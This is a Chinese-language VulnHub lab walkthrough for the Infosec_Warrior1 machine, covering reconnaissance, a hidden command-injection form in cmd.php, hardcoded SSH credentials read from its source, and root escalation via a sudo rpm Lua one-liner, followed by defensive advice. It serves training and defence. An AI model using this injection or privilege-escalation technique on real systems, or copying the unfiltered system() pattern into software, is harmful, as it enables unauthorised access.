当前位置: 首页 > news >正文

VulnHub 靶机实战:Infosec_Warrior1 从信息收集到 Root 提权全流程

前言

Infosec_Warrior1 是 VulnHub 平台上的入门级靶机,覆盖了从信息收集、Web 漏洞利用到本地提权的完整渗透流程,非常适合网络安全新手夯实基础。本文将按照标准渗透测试流程,复现从主机发现到获取 Root 权限的全过程,并补充对应漏洞原理与防御建议。

0x00 靶机介绍与环境准备

靶机基本信息

  • 靶机名称:Infosec_Warrior1
  • 难度等级:入门级
  • 官方来源:VulnHub 官方站点
  • 渗透目标:获取普通用户权限,最终提升至 root 权限并读取 flag 文件

实验环境

  • 攻击机:Kali Linux(IP:192.168.241.140)
  • 靶机:Infosec_Warrior1(同网段虚拟机)
  • 网络模式:VMware NAT 模式,攻击机与靶机处于同一二层网络
  • 核心工具:arp-scan、nmap、dirsearch、浏览器开发者工具

0x01 信息收集阶段

1. 主机存活探测:arp-scan 二层扫描

靶机与攻击机同属 NAT 网段,首先通过 ARP 协议进行二层主机发现,快速定位靶机 IP 地址。

arp-scan-l

扫描共发现 4 台存活主机,结合 MAC 地址前缀均为 VMware 虚拟机标识,通过排除法确定靶机 IP 为192.168.241.139
### 2. 端口与服务指纹探测:Nmap 全端口扫描
定位靶机 IP 后,使用 Nmap 进行全端口扫描、服务版本识别与系统探测,全面掌握靶机开放的服务与组件信息。

nmap-A-sV-p-192.168.241.139

核心扫描结果整理如下:

  • 22/tcp 开放:OpenSSH 5.3(protocol 2.0),为 CentOS 系统默认版本
  • 80/tcp 开放:Apache httpd 2.2.15,运行于 CentOS 系统
  • 操作系统推测:Linux 2.6.x 内核,与 CentOS 6 版本特征匹配

3. Web 目录爆破:dirsearch 路径探测

靶机 80 端口开放 Web 服务,直接访问 IP 仅显示 Apache 默认测试页,使用 dirsearch 对站点进行目录与文件爆破,挖掘隐藏路径。

dirsearch-uhttp://192.168.241.139

扫描结果中重点关注两个关键路径:

  • /sitemap.xml:状态码 200,为站点地图文件,通常包含站点 URL 信息
  • /wordpress/:状态码 500,存在 WordPress 程序但运行异常,可作为备用突破口

0x02 Web 端漏洞挖掘与利用

1. 站点地图泄露:虚拟主机域名发现

访问http://192.168.241.139/sitemap.xml,文件内包含域名infosecwarrior.com。由此可判断靶机配置了基于域名的虚拟主机,直接访问 IP 只会返回默认站点,必须绑定域名解析才能访问目标业务站点。

在攻击机的/etc/hosts文件中添加域名与 IP 的映射关系,实现域名解析:

echo"192.168.241.139 infosecwarrior.com">>/etc/hosts

2. 前端隐藏绕过:命令执行入口定位

绑定域名后访问http://infosecwarrior.com/index.html,页面仅展示 “Keep Calm And HACK” 标题与动图,无明显交互功能。通过 F12 打开浏览器开发者工具审查页面源码,发现一个被隐藏的表单:

<formaction="/cmd.php"hidden="True"method="GET"><inputtype="text"name="AI"value=""maxlength="100"><inputtype="submit"value="Submit"></form>

此处存在两个关键信息:

  1. 站点存在cmd.php页面,从命名判断大概率为命令执行功能,接收参数名为AI
  2. 表单默认使用 GET 请求,结合常规开发逻辑,推测后端可能对请求方法做了限制

在开发者工具中删除表单的hidden属性,并将请求方法从GET修改为POST,页面即可显示命令输入框与提交按钮。



3. 漏洞验证:POST 型命令注入

在输入框中输入ifconfig并提交,页面成功返回靶机的网卡配置信息,与靶机 IP、MAC 地址完全匹配,确认此处存在 POST 型命令注入漏洞。


4. 敏感信息获取:读取源码得到 SSH 凭证

利用已验证的命令执行漏洞,读取cmd.php的源码,进一步挖掘后端逻辑与敏感信息。
在输入框中提交命令:

catcmd.php

返回的完整 PHP 源码如下,既验证了「仅接受 POST 请求」的后端逻辑,也包含了硬编码的 SSH 账号密码:

<?phpif($_SERVER['REQUEST_METHOD']!='POST'){echo"Try other method";die;}if(isset($_POST['AI'])){echo"You Found ME : - (";echo" ";$cmd=($_POST['AI']);system($cmd);echo" ";die;}else{header("Location: https://www.armourinfosec.com/category/information-gathering/");}$user="isw0";$pass="123456789blabla";?>

成功获取 SSH 登录凭证:

  • 用户名:isw0
  • 密码:123456789blabla

0x03 SSH 登录与权限提升

1. 普通用户 SSH 登录

使用获取到的凭证登录靶机 SSH。由于靶机 OpenSSH 版本较老,默认使用 ssh-rsa 算法,高版本 Kali 的 SSH 客户端默认禁用该算法,需添加参数兼容登录:

ssh-oHostKeyAlgorithms=+ssh-rsa isw0@192.168.241.139

登录成功后,可在 isw0 用户的家目录中找到用户级 flag。

2. 提权前置:权限配置信息收集

获取普通用户权限后,首先查看当前用户的 sudo 权限配置,寻找提权突破口:

sudo-l

执行结果显示,isw0 用户可以 root 身份执行多个命令,其中包含高危的 rpm 命令,属于典型的 sudo 权限配置不当漏洞,是本次提权的核心利用点。

User isw0 may run the following commands on this host: (!root) NOPASSWD: /bin/bash (root) /bin/ping, (root) /bin/ping6, (root) /bin/rpm, (root) /bin/ls, (root) /bin/mktemp

3. 提权实战:利用 rpm 执行 Lua 脚本提权

参考 GTFOBins 的 rpm 提权方法,利用 rpm 命令内置的 Lua 解释器执行系统命令,直接获取 root 权限 Shell。

执行提权命令:

sudorpm--eval'%{lua:os.execute("/bin/sh")}'
提权原理解析
  • --eval:rpm 的内置参数,用于执行指定的宏表达式
  • %{lua:...}:rpm 调用内置 Lua 解释器的固定语法
  • os.execute("/bin/sh"):Lua 语言的系统调用函数,启动一个 /bin/sh 交互 Shell

由于 rpm 命令以 root 权限运行,启动的 Shell 也会继承 root 权限,最终实现权限提升。执行后提示符变为sh-4.1#,代表提权成功。

4. 获取 Root Flag

提权成功后,切换至 root 目录,读取最终的 root flag:

cd/rootcatflag.txt

成功获取 flag 内容:fc9c6eb6265921315e7c70aebd22af7e

0x04 漏洞总结与防御方案

完整攻击链路复盘

本次渗透形成了完整的攻击链条,环环相扣:

  1. 信息泄露:sitemap.xml 未做权限控制,泄露站点内部域名,突破虚拟主机访问限制
  2. 前端防护失效:仅通过 HTML 的 hidden 属性隐藏敏感功能,无后端校验,可被轻易绕过
  3. 命令注入漏洞:cmd.php 未对用户输入做任何过滤与校验,直接传入 system 函数执行系统命令
  4. 敏感信息硬编码:SSH 账号密码明文写在 Web 源码中,通过漏洞可直接读取
  5. sudo 权限配置不当:普通用户被赋予 rpm 等高风险命令的 root 执行权限,为本地提权提供入口

针对性防御建议

  1. 敏感文件管控:对外站点的 sitemap.xml、robots.txt 等文件避免包含内部域名与敏感路径,生产环境可限制访问来源
  2. 前后端双重校验:敏感功能必须在后端做权限与身份校验,不能仅依赖前端隐藏、前端禁用等客户端防护手段
  3. 命令注入防护:禁止直接将用户输入拼接进系统命令执行函数;如业务必须执行系统命令,需严格使用白名单机制限制可执行命令范围
  4. 敏感信息脱敏:严禁在 Web 源码、配置文件中硬编码账号密码、密钥等敏感信息,应使用独立的加密配置中心管理
  5. 遵循最小权限原则:严格限制普通用户的 sudo 权限,仅授予业务必需的命令,禁止为普通用户开放 rpm、find、python、bash 等高风险命令的 root 执行权限

写在最后

Infosec_Warrior1 作为入门靶机,覆盖了渗透测试最核心的基础流程,每个漏洞点都对应着真实业务中常见的安全问题。练习过程中不仅要掌握操作命令,更要理解每一步的渗透思路与漏洞原理,才能把靶场知识迁移到实战场景中。

http://www.jsqmd.com/news/1067393/

相关文章:

  • Spring Boot + XXL-Job 实现考勤自动补账:缺卡生成、历史回算和幂等设计
  • 从“归档凭证“到“数据资产“——合同智能应用实战思考
  • 工业防潮柜揭秘:量子算力芯片VS传统算力芯片
  • 基于FME的高程点与等高线矛盾检查
  • 让Mac应用保持最新:Latest使用全攻略
  • 10 分钟搭好语音 AI Agent,LiveKit 凭什么成为 OpenAI 的基建选择
  • Emacs AI助手:3个理由让你在编辑器中体验大型语言模型的强大能力
  • DFIG双馈风机、低电压穿越LVRT+转子侧快速短接、网侧矢量补偿控制仿真(带参考文献)
  • PCB建议
  • 探索未来能源:离网光伏系统如何改变生活
  • AI工程师必抢的稀缺资源:SITS 2026官方Behavior Cloning Benchmark Kit(含6类真实机器人任务数据集+基线模型权重)
  • 技术实战 | 抗原-TCR亲和力优化:5步突破免疫治疗瓶颈
  • Ricon组态技术架构 - 企业级Web组态解决方案
  • 【无人机】基于MATLAB的航空探空无人机纵向稳定性和俯仰自动驾驶仪设计Simulink仿真
  • RAG 检索精度优化之道:数据清洗与预处理全流程深度解析
  • 承接定制AI智能控制会议医疗录播主机
  • 前后端分离德州酒吧小程序:存酒管理、扫码点单、在线组局逻辑代码拆解
  • Techwiz LCD 1D:宾主效应液晶模式
  • 快捷、网关支付选型指南
  • AI不是从天而降,它经历了七十年三起三落:通过图灵测试读懂AI
  • 【AI原生LoRA技术权威指南】:SITS 2026低秩适配全栈解析——覆盖训练、部署、量化3大实战瓶颈
  • LeetCode 189数组轮转问题详解:辅助数组法与三次翻转法
  • 10个WordPress故障排除场景下的高效诊断与修复方案
  • AI掘金头条新闻系统 (Toutiao News)-删除浏览历史
  • 当 SiC 遇上 3300V:一台国产仪器如何接住第三代半导体的“测试重担“
  • Reproxy:微服务时代边缘代理的终极解决方案
  • Means:基于 .NET 10 打造的开源自部署 S3 兼容对象存储服务
  • BLE 广播 rawBytes 解析说明
  • 二年级下册语文复习1-8单元:口语交际+写话训练(ppt课件)
  • 基于KNN算法的健身会员个性化锻炼与饮食方案推荐研究